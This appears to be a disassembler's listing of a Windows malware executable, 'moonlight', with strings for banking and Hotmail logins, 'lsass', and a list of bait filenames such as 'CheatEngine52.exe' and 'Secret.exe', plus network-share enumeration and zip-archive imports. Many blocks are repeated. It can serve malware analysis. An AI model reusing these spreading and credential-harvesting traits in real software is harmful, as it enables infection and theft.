File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe
Function:
Loading..
00407564
00407564 wstring "login",0
00407570
00407570 08 00 00 00 ....
00407574
00407574 wstring "bank",0
0040757e
0040757e 00 00 ..
00407580 0e 00 00 00 ....
00407584
00407584 wstring "hotmail",0
00407594
00407594 12 00 00 00 ....
00407598
00407598 wstring "\\64enc.en",0
004075ac
004075ac 14 00 00 00 ....
004075b0
004075b0 wstring "\\MYpIC.zip",0
004075c6
004075c6 00 00 04 00 00 00 ......
004075cc
004075cc wstring ":\\",0
004075d2
004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
00407620
00407620 wstring "@",0
00407624
00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
00407640 00 00 00 00 02 00 00 00 ........
00407648
00407648 wstring " ",0
0040764c
0040764c 4e 00 00 00 N...
00407650
00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
004076a0
004076a0 04 00 00 00 ....
004076a4
004076a4 wstring "CO",0
004076aa
004076aa 00 00 02 00 00 00 ......
004076b0
004076b0 wstring "m",0
004076b4
004076b4 04 00 00 00 ....
004076b8
004076b8 wstring ".B",0
004076be
004076be 00 00 ..
004076c0 02 00 00 00 ....
004076c4
004076c4 wstring "r",0
004076c8
004076c8 06 00 00 00 ....
004076cc
004076cc wstring "zip",0
004076d4
004076d4 06 00 00 00 ....
004076d8
004076d8 wstring "}q}",0
004076e0
004076e0 06 00 00 00 ....
004076e4
004076e4 wstring "}de",0
004076ec
004076ec 2c 00 00 00 ,...
004076f0
004076f0 wstring "RealPlayer13-5GOLD.exe",0
0040771e
0040771e 00 00 ..
00407720 3c 00 00 00 <...
00407724
00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
00407762
00407762 00 00 22 00 00 00 .."...
00407768
00407768 wstring "CheatEngine52.exe",0
0040778c
0040778c 22 00 00 00 "...
00407790
00407790 wstring "framework-4.4.exe",0
004077b4
004077b4 42 00 00 00 B...
004077b8
004077b8 wstring "Vista Transformation Pack 4.0.exe",0
004077fc
004077fc 36 00 00 00 6...
00407800
00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
00407838
00407838 2a 00 00 00 *...
0040783c
0040783c wstring "DeepUnfreezerU1.6.exe",0
00407868
00407868 struct VBDeclareNameLength
00407868 cbName int 14
0040786c
0040786c string "WNetOpenEnumA",0
0040787a
0040787a 00 00 02 00 00 00 ......
00407880
00407880 wstring "T",0
00407884
00407884 02 00 00 00 ....
00407888
00407888 wstring "t",0
0040788c
0040788c 50 00 00 00 P...
00407890
00407890 wstring "Pack_Longhorn_Inspirat_1.6_code32547.exe",0
004078e2
004078e2 00 00 28 00 00 00 ..(...
004078e8
004078e8 wstring "TeamViewer_Setup.exe",0
00407912
00407912 00 00 16 00 00 00 ......
00407918
00407918 wstring "Licence.exe",0
00407930
00407930 18 00 00 00 ....
00407934
00407934 wstring "Pictures.exe",0
0040794e
0040794e 00 00 ..
00407950 14 00 00 00 ....
00407954
00407954 wstring "Secret.exe",0
0040796a
0040796a 00 00 1a 00 00 00 ......
00407970
00407970 wstring "Documents.exe",0
0040798c
0040798c 12 00 00 00 ....
00407990
00407990 wstring "Vivid.exe",0
004079a4
004079a4 14 00 00 00 ....
004079a8
004079a8 wstring "update.exe",0
004079be
004079be 00 00 ..
004079c0 0e 00 00 00 ....
004079c4
004079c4 wstring "XXX.exe",0
004079d4
004079d4 10 00 00 00 ....
004079d8
004079d8 wstring "cool.exe",0
004079ea
004079ea 00 00 12 00 00 00 ......
004079f0
004079f0 wstring "vitae.exe",0
00407a04
00407a04 12 00 00 00 ....
00407a08
00407a08 wstring "error.exe",0
00407a1c
00407a1c 06 00 00 00 ....
00407a20
00407a20 wstring "c:\\",0
00407a28
00407a28 0c 00 20 00 00 00 00 00 .. .....
00407a30 20 00 04 04 ...
00407a34
00407a34 struct VBDeclareNameLength
00407a34 cbName int 8
00407a38
00407a38 string "mpr.dll",0
00407a40
00407a40 02 00 00 00 ....
00407a44
00407a44 wstring "U",0
00407a48
00407a48 00 00 00 00 38 00 90 01 ....8...
00407a50 00 00 01 00 90 01 04 2c 00 00 85 00 00 10 7f 01 .......,........
00407a60 01 00 00 00 01 00 00 00 01 00 96 01 04 00 00 00 ................
00407a70 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......
00407a80 08 00 00 00 0c 00 01 10 00 00 00 00 01 10 01 04 ................
00407a90 18 00 80 00 00 00 03 00 80 00 04 2c 00 00 01 00 ...........,....
00407aa0 04 00 01 00 08 00 01 00 ........
00407aa8
00407aa8 struct VBDeclareNameLength
00407aa8 cbName int 14
00407aac
00407aac string "moonlight.dll",0
00407aba
00407aba 00 00 ..
00407abc
00407abc struct VBDeclareNameLength
00407abc cbName int 7
00407ac0
00407ac0 string "ZpInit",0
00407ac7
00407ac7 00 .
00407ac8
00407ac8 struct DeclareInfo
00407ac8 lpszLibraryName uint32 0x407aac
00407acc lpszFunctionName uint32 0x407ac0
00407ad0 dwFlags uint32 0x00040000
00407ad4 lpCache uint32 0x41bec0
00407ad8 dwReserved uint32 0x00000000
00407adc
00407adc 00 00 00 00 ....
00407564 wstring "login",0
00407570
00407570 08 00 00 00 ....
00407574
00407574 wstring "bank",0
0040757e
0040757e 00 00 ..
00407580 0e 00 00 00 ....
00407584
00407584 wstring "hotmail",0
00407594
00407594 12 00 00 00 ....
00407598
00407598 wstring "\\64enc.en",0
004075ac
004075ac 14 00 00 00 ....
004075b0
004075b0 wstring "\\MYpIC.zip",0
004075c6
004075c6 00 00 04 00 00 00 ......
004075cc
004075cc wstring ":\\",0
004075d2
004075d2 00 00 00 00 00 00 47 00 65 00 74 00 46 00 ......G.e.t.F.
004075e0 69 00 6c 00 65 00 00 00 4f 00 70 00 65 00 6e 00 i.l.e...O.p.e.n.
004075f0 41 00 73 00 54 00 65 00 78 00 74 00 53 00 74 00 A.s.T.e.x.t.S.t.
00407600 72 00 65 00 61 00 6d 00 00 00 00 00 52 00 65 00 r.e.a.m.....R.e.
00407610 61 00 64 00 41 00 6c 00 6c 00 00 00 02 00 00 00 a.d.A.l.l.......
00407620
00407620 wstring "@",0
00407624
00407624 43 00 6c 00 6f 00 73 00 65 00 00 00 C.l.o.s.e...
00407630 52 00 65 00 61 00 64 00 4c 00 69 00 6e 00 65 00 R.e.a.d.L.i.n.e.
00407640 00 00 00 00 02 00 00 00 ........
00407648
00407648 wstring " ",0
0040764c
0040764c 4e 00 00 00 N...
00407650
00407650 wstring "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._",0
004076a0
004076a0 04 00 00 00 ....
004076a4
004076a4 wstring "CO",0
004076aa
004076aa 00 00 02 00 00 00 ......
004076b0
004076b0 wstring "m",0
004076b4
004076b4 04 00 00 00 ....
004076b8
004076b8 wstring ".B",0
004076be
004076be 00 00 ..
004076c0 02 00 00 00 ....
004076c4
004076c4 wstring "r",0
004076c8
004076c8 06 00 00 00 ....
004076cc
004076cc wstring "zip",0
004076d4
004076d4 06 00 00 00 ....
004076d8
004076d8 wstring "}q}",0
004076e0
004076e0 06 00 00 00 ....
004076e4
004076e4 wstring "}de",0
004076ec
004076ec 2c 00 00 00 ,...
004076f0
004076f0 wstring "RealPlayer13-5GOLD.exe",0
0040771e
0040771e 00 00 ..
00407720 3c 00 00 00 <...
00407724
00407724 wstring "Icon Cool-Editor 3.4.30315.exe",0
00407762
00407762 00 00 22 00 00 00 .."...
00407768
00407768 wstring "CheatEngine52.exe",0
0040778c
0040778c 22 00 00 00 "...
00407790
00407790 wstring "framework-4.4.exe",0
004077b4
004077b4 42 00 00 00 B...
004077b8
004077b8 wstring "Vista Transformation Pack 4.0.exe",0
004077fc
004077fc 36 00 00 00 6...
00407800
00407800 wstring "Pack_Vista_Inspirat_1.6.exe",0
00407838
00407838 2a 00 00 00 *...
0040783c
0040783c wstring "DeepUnfreezerU1.6.exe",0
00407868
00407868 struct VBDeclareNameLength
00407868 cbName int 14
0040786c
0040786c string "WNetOpenEnumA",0
0040787a
0040787a 00 00 02 00 00 00 ......
00407880
00407880 wstring "T",0
00407884
00407884 02 00 00 00 ....
00407888
00407888 wstring "t",0
0040788c
0040788c 50 00 00 00 P...
00407890
00407890 wstring "Pack_Longhorn_Inspirat_1.6_code32547.exe",0
004078e2
004078e2 00 00 28 00 00 00 ..(...
004078e8
004078e8 wstring "TeamViewer_Setup.exe",0
00407912
00407912 00 00 16 00 00 00 ......
00407918
00407918 wstring "Licence.exe",0
00407930
00407930 18 00 00 00 ....
00407934
00407934 wstring "Pictures.exe",0
0040794e
0040794e 00 00 ..
00407950 14 00 00 00 ....
00407954
00407954 wstring "Secret.exe",0
0040796a
0040796a 00 00 1a 00 00 00 ......
00407970
00407970 wstring "Documents.exe",0
0040798c
0040798c 12 00 00 00 ....
00407990
00407990 wstring "Vivid.exe",0
004079a4
004079a4 14 00 00 00 ....
004079a8
004079a8 wstring "update.exe",0
004079be
004079be 00 00 ..
004079c0 0e 00 00 00 ....
004079c4
004079c4 wstring "XXX.exe",0
004079d4
004079d4 10 00 00 00 ....
004079d8
004079d8 wstring "cool.exe",0
004079ea
004079ea 00 00 12 00 00 00 ......
004079f0
004079f0 wstring "vitae.exe",0
00407a04
00407a04 12 00 00 00 ....
00407a08
00407a08 wstring "error.exe",0
00407a1c
00407a1c 06 00 00 00 ....
00407a20
00407a20 wstring "c:\\",0
00407a28
00407a28 0c 00 20 00 00 00 00 00 .. .....
00407a30 20 00 04 04 ...
00407a34
00407a34 struct VBDeclareNameLength
00407a34 cbName int 8
00407a38
00407a38 string "mpr.dll",0
00407a40
00407a40 02 00 00 00 ....
00407a44
00407a44 wstring "U",0
00407a48
00407a48 00 00 00 00 38 00 90 01 ....8...
00407a50 00 00 01 00 90 01 04 2c 00 00 85 00 00 10 7f 01 .......,........
00407a60 01 00 00 00 01 00 00 00 01 00 96 01 04 00 00 00 ................
00407a70 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 ........d.......
00407a80 08 00 00 00 0c 00 01 10 00 00 00 00 01 10 01 04 ................
00407a90 18 00 80 00 00 00 03 00 80 00 04 2c 00 00 01 00 ...........,....
00407aa0 04 00 01 00 08 00 01 00 ........
00407aa8
00407aa8 struct VBDeclareNameLength
00407aa8 cbName int 14
00407aac
00407aac string "moonlight.dll",0
00407aba
00407aba 00 00 ..
00407abc
00407abc struct VBDeclareNameLength
00407abc cbName int 7
00407ac0
00407ac0 string "ZpInit",0
00407ac7
00407ac7 00 .
00407ac8
00407ac8 struct DeclareInfo
00407ac8 lpszLibraryName uint32 0x407aac
00407acc lpszFunctionName uint32 0x407ac0
00407ad0 dwFlags uint32 0x00040000
00407ad4 lpCache uint32 0x41bec0
00407ad8 dwReserved uint32 0x00000000
00407adc
00407adc 00 00 00 00 ....
00407ae0
00407ae0fn_407ae0:
00407ae0mov eax, [0x41bec8]
00407ae5or eax, eax
00407ae7je 0x407aeb
00407ae9jmp eax
00407aeb
00407aebloc_407aeb:
00407aebpush 0x407ac8
00407af0mov eax, 0x4010e0
00407af5call eax
00407af7jmp eax
00407ae0
00407ae0fn_407ae0:
00407ae0mov eax, [0x41bec8]
00407ae5or eax, eax
00407ae7je 0x407aeb
00407ae9jmp eax
00407aeb
00407aebloc_407aeb:
00407aebpush 0x407ac8
00407af0mov eax, 0x4010e0
00407af5call eax
00407af7jmp eax
00407ae0
00407af9
00407af9 00 00 00 ...
00407afc
00407afc struct VBDeclareNameLength
00407afc cbName int 13
00407b00
00407b00 string "ZpSetOptions",0
00407b0d
00407b0d 00 00 00 ...
00407b10
00407b10 struct DeclareInfo
00407b10 lpszLibraryName uint32 0x407aac
00407b14 lpszFunctionName uint32 0x407b00
00407b18 dwFlags uint32 0x00040000
00407b1c lpCache uint32 0x41becc
00407b20 dwReserved uint32 0x00000000
00407b24
00407b24 00 00 00 00 ....
00407af9 00 00 00 ...
00407afc
00407afc struct VBDeclareNameLength
00407afc cbName int 13
00407b00
00407b00 string "ZpSetOptions",0
00407b0d
00407b0d 00 00 00 ...
00407b10
00407b10 struct DeclareInfo
00407b10 lpszLibraryName uint32 0x407aac
00407b14 lpszFunctionName uint32 0x407b00
00407b18 dwFlags uint32 0x00040000
00407b1c lpCache uint32 0x41becc
00407b20 dwReserved uint32 0x00000000
00407b24
00407b24 00 00 00 00 ....
00407b28
00407b28fn_407b28:
00407b28mov eax, [0x41bed4]
00407b2dor eax, eax
00407b2fje 0x407b33
00407b31jmp eax
00407b33
00407b33loc_407b33:
00407b33push 0x407b10
00407b38mov eax, 0x4010e0
00407b3dcall eax
00407b3fjmp eax
00407b28
00407b28fn_407b28:
00407b28mov eax, [0x41bed4]
00407b2dor eax, eax
00407b2fje 0x407b33
00407b31jmp eax
00407b33
00407b33loc_407b33:
00407b33push 0x407b10
00407b38mov eax, 0x4010e0
00407b3dcall eax
00407b3fjmp eax
00407b28
00407b41
00407b41 00 00 00 ...
00407b44
00407b44 struct VBDeclareNameLength
00407b44 cbName int 13
00407b48
00407b48 string "ZpGetOptions",0
00407b55
00407b55 00 00 00 ...
00407b58
00407b58 struct DeclareInfo
00407b58 lpszLibraryName uint32 0x407aac
00407b5c lpszFunctionName uint32 0x407b48
00407b60 dwFlags uint32 0x00040000
00407b64 lpCache uint32 0x41bed8
00407b68 dwReserved uint32 0x00000000
00407b6c
00407b6c 00 00 00 00 ....
00407b41 00 00 00 ...
00407b44
00407b44 struct VBDeclareNameLength
00407b44 cbName int 13
00407b48
00407b48 string "ZpGetOptions",0
00407b55
00407b55 00 00 00 ...
00407b58
00407b58 struct DeclareInfo
00407b58 lpszLibraryName uint32 0x407aac
00407b5c lpszFunctionName uint32 0x407b48
00407b60 dwFlags uint32 0x00040000
00407b64 lpCache uint32 0x41bed8
00407b68 dwReserved uint32 0x00000000
00407b6c
00407b6c 00 00 00 00 ....
00407b70
00407b70fn_407b70:
00407b70mov eax, [0x41bee0]
00407b75or eax, eax
00407b77je 0x407b7b
00407b79jmp eax
00407b7b
00407b7bloc_407b7b:
00407b7bpush 0x407b58
00407b80mov eax, 0x4010e0
00407b85call eax
00407b87jmp eax
00407b70
00407b70fn_407b70:
00407b70mov eax, [0x41bee0]
00407b75or eax, eax
00407b77je 0x407b7b
00407b79jmp eax
00407b7b
00407b7bloc_407b7b:
00407b7bpush 0x407b58
00407b80mov eax, 0x4010e0
00407b85call eax
00407b87jmp eax
00407b70
00407b89
00407b89 00 00 00 ...
00407b8c
00407b8c struct VBDeclareNameLength
00407b8c cbName int 10
00407b90
00407b90 string "ZpArchive",0
00407b9a
00407b9a 00 00 ..
00407b9c
00407b9c struct DeclareInfo
00407b9c lpszLibraryName uint32 0x407aac
00407ba0 lpszFunctionName uint32 0x407b90
00407ba4 dwFlags uint32 0x00040000
00407ba8 lpCache uint32 0x41bee4
00407bac dwReserved uint32 0x00000000
00407bb0
00407bb0 00 00 00 00 ....
00407b89 00 00 00 ...
00407b8c
00407b8c struct VBDeclareNameLength
00407b8c cbName int 10
00407b90
00407b90 string "ZpArchive",0
00407b9a
00407b9a 00 00 ..
00407b9c
00407b9c struct DeclareInfo
00407b9c lpszLibraryName uint32 0x407aac
00407ba0 lpszFunctionName uint32 0x407b90
00407ba4 dwFlags uint32 0x00040000
00407ba8 lpCache uint32 0x41bee4
00407bac dwReserved uint32 0x00000000
00407bb0
00407bb0 00 00 00 00 ....
00407bb4
00407bb4fn_407bb4:
00407bb4mov eax, [0x41beec]
00407bb9or eax, eax
00407bbbje 0x407bbf
00407bbdjmp eax
00407bbf
00407bbfloc_407bbf:
00407bbfpush 0x407b9c
00407bc4mov eax, 0x4010e0
00407bc9call eax
00407bcbjmp eax
00407bb4
00407bb4fn_407bb4:
00407bb4mov eax, [0x41beec]
00407bb9or eax, eax
00407bbbje 0x407bbf
00407bbdjmp eax
00407bbf
00407bbfloc_407bbf:
00407bbfpush 0x407b9c
00407bc4mov eax, 0x4010e0
00407bc9call eax
00407bcbjmp eax
00407bb4
00407bcd
00407bcd 00 00 00 ...
00407bd0 29 4f ad 33 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 )O.3.f.......`..
00407be0 0a 00 00 00 ....
00407be4
00407be4 wstring "lsass",0
00407bf0
00407bf0 1c 00 20 00 00 00 04 00 20 00 04 2c 10 00 01 00 .. ..... ..,....
00407c00 14 00 01 00 18 00 01 00 1c 00 01 00 00 00 00 00 ................
00407c10 88 00 74 02 00 00 08 00 00 00 00 10 00 00 69 20 ..t...........i
00407c20 00 00 ff ff 90 7a 40 00 ff ff ff ff ff ff ff ff .....z@.........
00407c30 00 00 00 00 50 02 00 00 80 00 09 20 00 00 ff ff ....P...... ....
00407c40 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
00407c50 00 00 00 00 90 00 01 20 00 00 ff ff 94 00 01 20 ....... .......
00407c60 30 49 ff ff 98 00 01 20 98 5b ff ff d8 00 01 20 0I..... .[.....
00407c70 40 77 ff ff dc 00 69 20 78 8b ff ff 4c 7a 40 00 @w....i x...Lz@.
00407c80 90 a0 1d 00 00 00 00 00 00 05 1b 00 f0 d5 1b 00 ................
00407c90 6c 02 01 20 e0 20 ff ff l.. . ..
00407c98
00407c98 struct VBDeclareNameLength
00407c98 cbName int 8
00407c9c
00407c9c string "shell32",0
00407ca4
00407ca4 struct VBDeclareNameLength
00407ca4 cbName int 27
00407ca8
00407ca8 string "SHGetSpecialFolderLocation",0
00407cc3
00407cc3 00 .
00407cc4
00407cc4 struct DeclareInfo
00407cc4 lpszLibraryName uint32 0x407c9c
00407cc8 lpszFunctionName uint32 0x407ca8
00407ccc dwFlags uint32 0x00040000
00407cd0 lpCache uint32 0x41bef0
00407cd4 dwReserved uint32 0x00000000
00407cd8
00407cd8 00 00 00 00 ....
00407bcd 00 00 00 ...
00407bd0 29 4f ad 33 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 )O.3.f.......`..
00407be0 0a 00 00 00 ....
00407be4
00407be4 wstring "lsass",0
00407bf0
00407bf0 1c 00 20 00 00 00 04 00 20 00 04 2c 10 00 01 00 .. ..... ..,....
00407c00 14 00 01 00 18 00 01 00 1c 00 01 00 00 00 00 00 ................
00407c10 88 00 74 02 00 00 08 00 00 00 00 10 00 00 69 20 ..t...........i
00407c20 00 00 ff ff 90 7a 40 00 ff ff ff ff ff ff ff ff .....z@.........
00407c30 00 00 00 00 50 02 00 00 80 00 09 20 00 00 ff ff ....P...... ....
00407c40 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 ................
00407c50 00 00 00 00 90 00 01 20 00 00 ff ff 94 00 01 20 ....... .......
00407c60 30 49 ff ff 98 00 01 20 98 5b ff ff d8 00 01 20 0I..... .[.....
00407c70 40 77 ff ff dc 00 69 20 78 8b ff ff 4c 7a 40 00 @w....i x...Lz@.
00407c80 90 a0 1d 00 00 00 00 00 00 05 1b 00 f0 d5 1b 00 ................
00407c90 6c 02 01 20 e0 20 ff ff l.. . ..
00407c98
00407c98 struct VBDeclareNameLength
00407c98 cbName int 8
00407c9c
00407c9c string "shell32",0
00407ca4
00407ca4 struct VBDeclareNameLength
00407ca4 cbName int 27
00407ca8
00407ca8 string "SHGetSpecialFolderLocation",0
00407cc3
00407cc3 00 .
00407cc4
00407cc4 struct DeclareInfo
00407cc4 lpszLibraryName uint32 0x407c9c
00407cc8 lpszFunctionName uint32 0x407ca8
00407ccc dwFlags uint32 0x00040000
00407cd0 lpCache uint32 0x41bef0
00407cd4 dwReserved uint32 0x00000000
00407cd8
00407cd8 00 00 00 00 ....
00407cdc
00407cdcfn_407cdc:
00407cdcmov eax, [0x41bef8]
00407ce1or eax, eax
00407ce3je 0x407ce7
00407ce5jmp eax
00407ce7
00407ce7loc_407ce7:
00407ce7push 0x407cc4
00407cecmov eax, 0x4010e0
00407cf1call eax
00407cf3jmp eax
00407cdc
00407cdcfn_407cdc:
00407cdcmov eax, [0x41bef8]
00407ce1or eax, eax
00407ce3je 0x407ce7
00407ce5jmp eax
00407ce7
00407ce7loc_407ce7:
00407ce7push 0x407cc4
00407cecmov eax, 0x4010e0
00407cf1call eax
00407cf3jmp eax
00407cdc
00407cf5
00407cf5 00 00 00 ...
00407cf8
00407cf8 struct VBDeclareNameLength
00407cf8 cbName int 21
00407cfc
00407cfc string "SHGetPathFromIDListA",0
00407d11
00407d11 00 00 00 ...
00407d14
00407d14 struct DeclareInfo
00407d14 lpszLibraryName uint32 0x407c9c
00407d18 lpszFunctionName uint32 0x407cfc
00407d1c dwFlags uint32 0x00040000
00407d20 lpCache uint32 0x41befc
00407d24 dwReserved uint32 0x00000000
00407d28
00407d28 00 00 00 00 ....
00407cf5 00 00 00 ...
00407cf8
00407cf8 struct VBDeclareNameLength
00407cf8 cbName int 21
00407cfc
00407cfc string "SHGetPathFromIDListA",0
00407d11
00407d11 00 00 00 ...
00407d14
00407d14 struct DeclareInfo
00407d14 lpszLibraryName uint32 0x407c9c
00407d18 lpszFunctionName uint32 0x407cfc
00407d1c dwFlags uint32 0x00040000
00407d20 lpCache uint32 0x41befc
00407d24 dwReserved uint32 0x00000000
00407d28
00407d28 00 00 00 00 ....
00407d2c
00407d2cfn_407d2c:
00407d2cmov eax, [0x41bf04]
00407d31or eax, eax
00407d33je 0x407d37
00407d35jmp eax
00407d37
00407d37loc_407d37:
00407d37push 0x407d14
00407d3cmov eax, 0x4010e0
00407d41call eax
00407d43jmp eax
00407d2c
00407d2cfn_407d2c:
00407d2cmov eax, [0x41bf04]
00407d31or eax, eax
00407d33je 0x407d37
00407d35jmp eax
00407d37
00407d37loc_407d37:
00407d37push 0x407d14
00407d3cmov eax, 0x4010e0
00407d41call eax
00407d43jmp eax
00407d2c
00407d45
00407d45 00 00 00 0e 00 00 00 .......
00407d4c
00407d4c wstring "explore",0
00407d5c
00407d5c 0e 00 00 00 ....
00407d60
00407d60 wstring "regedit",0
00407d70
00407d70 16 00 00 00 ....
00407d74
00407d74 wstring "\\cypreg.dll",0
00407d8c
00407d8c 16 00 00 00 ....
00407d90
00407d90 wstring "service.exe",0
00407da8
00407da8 10 00 00 00 ....
00407dac
00407dac wstring "smss.exe",0
00407dbe
00407dbe 00 00 ..
00407dc0 0c 00 00 00 ....
00407dc4
00407dc4 wstring "system",0
00407dd2
00407dd2 00 00 02 00 00 00 ......
00407dd8
00407dd8 wstring "u",0
00407ddc
00407ddc struct DeclareInfo
00407ddc lpszLibraryName uint32 0x407a38
00407de0 lpszFunctionName uint32 0x40786c
00407de4 dwFlags uint32 0x00040000
00407de8 lpCache uint32 0x41bf08
00407dec dwReserved uint32 0x00000000
00407df0
00407df0 00 00 00 00 ....
00407d45 00 00 00 0e 00 00 00 .......
00407d4c
00407d4c wstring "explore",0
00407d5c
00407d5c 0e 00 00 00 ....
00407d60
00407d60 wstring "regedit",0
00407d70
00407d70 16 00 00 00 ....
00407d74
00407d74 wstring "\\cypreg.dll",0
00407d8c
00407d8c 16 00 00 00 ....
00407d90
00407d90 wstring "service.exe",0
00407da8
00407da8 10 00 00 00 ....
00407dac
00407dac wstring "smss.exe",0
00407dbe
00407dbe 00 00 ..
00407dc0 0c 00 00 00 ....
00407dc4
00407dc4 wstring "system",0
00407dd2
00407dd2 00 00 02 00 00 00 ......
00407dd8
00407dd8 wstring "u",0
00407ddc
00407ddc struct DeclareInfo
00407ddc lpszLibraryName uint32 0x407a38
00407de0 lpszFunctionName uint32 0x40786c
00407de4 dwFlags uint32 0x00040000
00407de8 lpCache uint32 0x41bf08
00407dec dwReserved uint32 0x00000000
00407df0
00407df0 00 00 00 00 ....
00407df4
00407df4fn_407df4:
00407df4mov eax, [0x41bf10]
00407df9or eax, eax
00407dfbje 0x407dff
00407dfdjmp eax
00407dff
00407dffloc_407dff:
00407dffpush 0x407ddc
00407e04mov eax, 0x4010e0
00407e09call eax
00407e0bjmp eax
00407df4
00407df4fn_407df4:
00407df4mov eax, [0x41bf10]
00407df9or eax, eax
00407dfbje 0x407dff
00407dfdjmp eax
00407dff
00407dffloc_407dff:
00407dffpush 0x407ddc
00407e04mov eax, 0x4010e0
00407e09call eax
00407e0bjmp eax
00407df4
00407e0d
00407e0d 00 00 00 ...
00407e10
00407e10 struct VBDeclareNameLength
00407e10 cbName int 18
00407e14
00407e14 string "WNetEnumResourceA",0
00407e26
00407e26 00 00 ..
00407e28
00407e28 struct DeclareInfo
00407e28 lpszLibraryName uint32 0x407a38
00407e2c lpszFunctionName uint32 0x407e14
00407e30 dwFlags uint32 0x00040000
00407e34 lpCache uint32 0x41bf14
00407e38 dwReserved uint32 0x00000000
00407e3c
00407e3c 00 00 00 00 ....
00407e0d 00 00 00 ...
00407e10
00407e10 struct VBDeclareNameLength
00407e10 cbName int 18
00407e14
00407e14 string "WNetEnumResourceA",0
00407e26
00407e26 00 00 ..
00407e28
00407e28 struct DeclareInfo
00407e28 lpszLibraryName uint32 0x407a38
00407e2c lpszFunctionName uint32 0x407e14
00407e30 dwFlags uint32 0x00040000
00407e34 lpCache uint32 0x41bf14
00407e38 dwReserved uint32 0x00000000
00407e3c
00407e3c 00 00 00 00 ....
00407e40
00407e40fn_407e40:
00407e40mov eax, [0x41bf1c]
00407e45or eax, eax
00407e47je 0x407e4b
00407e49jmp eax
00407e4b
00407e4bloc_407e4b:
00407e4bpush 0x407e28
00407e50mov eax, 0x4010e0
00407e55call eax
00407e57jmp eax
00407e40
00407e40fn_407e40:
00407e40mov eax, [0x41bf1c]
00407e45or eax, eax
00407e47je 0x407e4b
00407e49jmp eax
00407e4b
00407e4bloc_407e4b:
00407e4bpush 0x407e28
00407e50mov eax, 0x4010e0
00407e55call eax
00407e57jmp eax
00407e40
00407e59
00407e59 00 00 00 ...
00407e5c
00407e5c struct VBDeclareNameLength
00407e5c cbName int 14
00407e60
00407e60 string "WNetCloseEnum",0
00407e6e
00407e6e 00 00 ..
00407e70
00407e70 struct DeclareInfo
00407e70 lpszLibraryName uint32 0x407a38
00407e74 lpszFunctionName uint32 0x407e60
00407e78 dwFlags uint32 0x00040000
00407e7c lpCache uint32 0x41bf20
00407e80 dwReserved uint32 0x00000000
00407e84
00407e84 00 00 00 00 ....
00407e59 00 00 00 ...
00407e5c
00407e5c struct VBDeclareNameLength
00407e5c cbName int 14
00407e60
00407e60 string "WNetCloseEnum",0
00407e6e
00407e6e 00 00 ..
00407e70
00407e70 struct DeclareInfo
00407e70 lpszLibraryName uint32 0x407a38
00407e74 lpszFunctionName uint32 0x407e60
00407e78 dwFlags uint32 0x00040000
00407e7c lpCache uint32 0x41bf20
00407e80 dwReserved uint32 0x00000000
00407e84
00407e84 00 00 00 00 ....
00407e88
00407e88fn_407e88:
00407e88mov eax, [0x41bf28]
00407e8dor eax, eax
00407e8fje 0x407e93
00407e91jmp eax
00407e93
00407e93loc_407e93:
00407e93push 0x407e70
00407e98mov eax, 0x4010e0
00407e9dcall eax
00407e9fjmp eax
00407e88
00407e88fn_407e88:
00407e88mov eax, [0x41bf28]
00407e8dor eax, eax
00407e8fje 0x407e93
00407e91jmp eax
00407e93
00407e93loc_407e93:
00407e93push 0x407e70
00407e98mov eax, 0x4010e0
00407e9dcall eax
00407e9fjmp eax
00407e88
00407ea1
00407ea1 00 00 00 ...
00407ea4
00407ea4 struct VBDeclareNameLength
00407ea4 cbName int 9
00407ea8
00407ea8 string "lstrlenA",0
00407eb1
00407eb1 00 00 00 ...
00407eb4
00407eb4 struct DeclareInfo
00407eb4 lpszLibraryName uint32 0x405f48
00407eb8 lpszFunctionName uint32 0x407ea8
00407ebc dwFlags uint32 0x00040000
00407ec0 lpCache uint32 0x41bf2c
00407ec4 dwReserved uint32 0x00000000
00407ec8
00407ec8 00 00 00 00 ....
00407ea1 00 00 00 ...
00407ea4
00407ea4 struct VBDeclareNameLength
00407ea4 cbName int 9
00407ea8
00407ea8 string "lstrlenA",0
00407eb1
00407eb1 00 00 00 ...
00407eb4
00407eb4 struct DeclareInfo
00407eb4 lpszLibraryName uint32 0x405f48
00407eb8 lpszFunctionName uint32 0x407ea8
00407ebc dwFlags uint32 0x00040000
00407ec0 lpCache uint32 0x41bf2c
00407ec4 dwReserved uint32 0x00000000
00407ec8
00407ec8 00 00 00 00 ....
00407ecc
00407eccfn_407ecc:
00407eccmov eax, [0x41bf34]
00407ed1or eax, eax
00407ed3je 0x407ed7
00407ed5jmp eax
00407ed7
00407ed7loc_407ed7:
00407ed7push 0x407eb4
00407edcmov eax, 0x4010e0
00407ee1call eax
00407ee3jmp eax
00407ecc
00407eccfn_407ecc:
00407eccmov eax, [0x41bf34]
00407ed1or eax, eax
00407ed3je 0x407ed7
00407ed5jmp eax
00407ed7
00407ed7loc_407ed7:
00407ed7push 0x407eb4
00407edcmov eax, 0x4010e0
00407ee1call eax
00407ee3jmp eax
00407ecc
00407ee5
00407ee5 00 00 00 ...
00407ee8
00407ee8 struct VBDeclareNameLength
00407ee8 cbName int 9
00407eec
00407eec string "lstrcpyA",0
00407ef5
00407ef5 00 00 00 ...
00407ef8
00407ef8 struct DeclareInfo
00407ef8 lpszLibraryName uint32 0x405f48
00407efc lpszFunctionName uint32 0x407eec
